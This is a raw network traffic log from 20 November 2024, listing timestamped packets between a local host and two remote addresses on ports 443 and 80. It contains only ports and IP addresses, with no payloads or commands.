Nov 20, 2024 08:12:38.304049969 CET	49846	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.304058075 CET	443	49846	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.306292057 CET	49847	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.306293011 CET	49847	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.306349993 CET	443	49847	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.306386948 CET	443	49847	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.310600996 CET	49851	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.310630083 CET	443	49851	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.310720921 CET	49851	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.310751915 CET	49852	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.310786963 CET	443	49852	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.310844898 CET	49852	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.310893059 CET	49851	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.310904026 CET	443	49851	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.311045885 CET	49852	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.311057091 CET	443	49852	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.324971914 CET	443	49848	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.325051069 CET	443	49848	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.325095892 CET	49848	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.325480938 CET	49848	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.325506926 CET	443	49848	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.325520039 CET	49848	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.325525999 CET	443	49848	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.329670906 CET	49853	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.329706907 CET	443	49853	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.329832077 CET	49853	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.330219030 CET	49853	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.330231905 CET	443	49853	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.413398027 CET	443	49849	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.415096998 CET	49849	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.415111065 CET	443	49849	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.415693045 CET	49849	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.415698051 CET	443	49849	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.494491100 CET	443	49850	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.495181084 CET	49850	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.495208025 CET	443	49850	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.495737076 CET	49850	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.495743990 CET	443	49850	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.516560078 CET	443	49849	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.516637087 CET	443	49849	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.516675949 CET	443	49849	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.516722918 CET	49849	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.516871929 CET	49849	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.516894102 CET	443	49849	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.516906977 CET	49849	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.516912937 CET	443	49849	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.520349026 CET	49854	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.520390034 CET	443	49854	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.520442963 CET	49854	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.520665884 CET	49854	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.520677090 CET	443	49854	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.595261097 CET	443	49850	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.598721981 CET	443	49850	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.601026058 CET	49850	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.621221066 CET	49850	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.621258974 CET	443	49850	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.621290922 CET	49850	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.621298075 CET	443	49850	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.623653889 CET	49855	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.623689890 CET	443	49855	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.623740911 CET	49855	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.628077030 CET	49855	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.628084898 CET	443	49855	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.790015936 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:38.795116901 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:38.795162916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:38.795201063 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:38.795234919 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:38.795258999 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:38.795291901 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:38.975032091 CET	443	49853	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.987667084 CET	443	49852	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.989707947 CET	443	49851	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.021059990 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.021173000 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.023672104 CET	49853	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.038295984 CET	49853	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.038305044 CET	443	49853	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.038850069 CET	49853	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.038856030 CET	443	49853	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.039283991 CET	49852	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.039958954 CET	49851	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.040195942 CET	49852	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.040208101 CET	443	49852	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.040920019 CET	49852	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.040925026 CET	443	49852	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.041901112 CET	49851	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.041907072 CET	443	49851	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.042285919 CET	49851	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:39.042290926 CET	443	49851	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:39.077400923 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.082482100 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082499027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082511902 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082524061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082530975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082541943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082557917 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.082565069 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082577944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082590103 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082601070 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082612991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082617044 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.082617044 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.082624912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082638979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082659006 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.082659960 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.082849026 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082860947 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082871914 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082882881 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082894087 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082906008 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.082915068 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.082915068 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083053112 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083445072 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083457947 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083468914 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083479881 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083492994 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083503962 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083507061 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083507061 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083518982 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083533049 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083544016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083553076 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083553076 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083554029 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083568096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083579063 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083590031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083600998 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083611965 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083612919 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083612919 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083625078 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083636045 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083646059 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083646059 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083646059 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083658934 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083669901 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083681107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.083694935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083694935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.083870888 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084255934 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084268093 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084279060 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084302902 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084310055 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084314108 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084330082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084341049 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084351063 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084357977 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084357977 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084368944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084382057 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084394932 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084405899 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084415913 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084423065 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084423065 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084429026 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084439993 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084449053 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084450960 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084465027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084485054 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084496021 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084496975 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084496975 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084506989 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084520102 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084520102 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084532022 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084542990 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084553957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084564924 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084570885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084570885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084578037 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084589005 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.084609032 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.084609032 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.085253954 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085273981 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085284948 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085295916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085306883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085318089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085328102 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085334063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.085334063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.085342884 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085355043 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085365057 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.085365057 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.085366011 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085380077 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085391998 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085402966 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085412979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085413933 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.085413933 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.085424900 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085438013 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085448027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085463047 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.085463047 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.085469007 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085480928 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085490942 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.085521936 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.085521936 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086216927 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086230040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086240053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086251974 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086262941 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086277962 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086277962 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086285114 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086297035 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086308002 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086318970 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086325884 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086325884 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086332083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086344004 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086349964 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086355925 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086368084 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086380005 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086390018 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086397886 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086397886 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086405993 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086416960 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086427927 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086438894 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086451054 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086458921 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086458921 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086462975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086476088 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086487055 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086498022 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086505890 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086505890 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086509943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086523056 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086534023 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.086544991 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086544991 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.086604118 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.087171078 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087183952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087196112 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087207079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087220907 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.087229013 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087241888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087253094 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087261915 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.087264061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087276936 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087289095 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087291956 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.087301016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087320089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087332010 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087337971 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.087337971 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.087343931 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087357998 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087368965 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087377071 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.087377071 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.087383032 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087394953 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087405920 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087418079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087430000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087439060 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.087439060 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.087440968 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087454081 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.087476969 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.087476969 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088165998 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088179111 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088190079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088208914 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088217020 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088221073 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088232994 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088243008 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088253975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088254929 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088254929 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088265896 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088278055 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088283062 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088289976 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088300943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088313103 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088324070 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088325977 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088325977 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088335991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088347912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088359118 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088371038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088377953 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088377953 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088385105 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088397026 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088407040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088418007 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088418007 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088418007 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088429928 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.088449001 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.088485956 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089003086 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089015007 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089025974 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089039087 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089076042 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089076042 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:39.089148045 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089159012 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089169025 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:39.089179993 CET	80	49833	185.215.113.16	192.168.2.6
